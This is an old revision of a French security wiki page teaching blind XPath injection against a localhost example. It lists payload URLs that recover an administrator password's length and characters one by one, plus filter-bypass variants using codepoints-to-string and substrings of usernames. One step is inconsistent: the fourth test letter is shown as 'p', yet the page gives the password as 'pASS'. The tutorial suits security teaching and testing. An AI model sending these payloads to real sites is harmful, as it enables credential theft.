Outils pour utilisateurs

Outils du site


web:injection_blind_xpath

Ceci est une ancienne révision du document !


Blind XPATH

Prenons par exemple une liste d'utilisateur sur notre site

Liste d'utilisateur

1. Admin
2. Toto
3. Vincent
4. Sophie

Lorsque nous accèdons au détail du première utilisateur notre url nous donne :

http://localhost/index.php?userid=1

Exploitation :

Detection

Pour la détection se reporter à l'article sur les injections XPATH.

Trouver la longueur d'un mot de passe

Pour trouver la longueur du mot de passe de l'administrateur:

On va utiliser la fonction string-length en XML.

Pour ce faire on va concaténer notre requête à la précédente avec l'opérateur “and”

http://localhost/index.php?userid=1 and string-length(//user[1]/password)=1 

Si la requete nous renvoi une erreur le mot de passe de l'admin ne fais pas 1 caractère

On va incrementer jusqu'à trouver la bonne valeur.

http://localhost/index.php?userid=1 and string-length(//user[1]/password)=2
http://localhost/index.php?userid=1 and string-length(//user[1]/password)=3
http://localhost/index.php?userid=1 and string-length(//user[1]/password)=4

Affichage normal de la page pour password = 4. Notre mot de passe fait donc 4 caractères

Trouver le mot de passe

Il existe une fonction substring tel que:

substring(user[1]/password,x,n) 

Renvoie la chaîne de longueur n à partir du xième caractère.

Dans notre cas trouvons la première lettre du mot de passe :

http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='a'                     
http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='b'
http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='c'
http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='d'
http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='e'
...
http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='p'

Tant que nous obtenons une erreur xml sur la page c'est que ce n'est pas la bonne lettre. Dans notre cas la lettre p ne nous renvoi pas d'erreur. Notre mot de passe commence donc par p.

Trouvons maintenant les lettres suivantes :

http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='a'
http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='b'
http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='c'
http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='d'
http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='e'
...
http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='A' <=OK

Deuxième lettre : A

http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='a'
http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='b'
http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='c'
http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='d'
http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='e'
...
http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='S' <=OK

Troisième lettre : S

http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='a'
http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='b'
http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='c'
http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='d'
http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='e'
...
http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='p'

Le mot de pass entier : pASS

BYPASS FILTRE

Pour bypasser les filtres la technique sera différente en XPATH 2.0 et en XPATH 1.0

En XPATH 2.0

Une fonction codepoints-to-string en xml nous permet de convertir un chiffre ascii en lettre

codepoints-to-string(84) renverra 'T'

Pour notre exploitation nous ferons donc :

http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)=codepoints-to-string(112)

sera égal à :

http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='p'

Il suffit de faire de même pour obtenir les lettres suivantes

En XPATH 1.0

La fonction codepoints-to-string n'existe pas donc nous allons réutiliser la fonction substring.

Nous allons prendres les informations disponibles sur la page (le nom des comptes utilisateurs)

http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)=substring(user[1]/username,1,1)

cette requete équivaut à : userid=1 and le premiere caractère du pass de l'admin = la première lettre du nom d'utilisateur de l'admin

Notre mot de passe administrateur vaudra donc :

http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)=substring(user[4]/username,3,1)     <= p
http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)=substring(user[1]/username,1,1)     <= A
http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)=substring(user[4]/username,1,1)     <= S
http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)=substring(user[4]/username,1,1)     <= S
web/injection_blind_xpath.1454605444.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)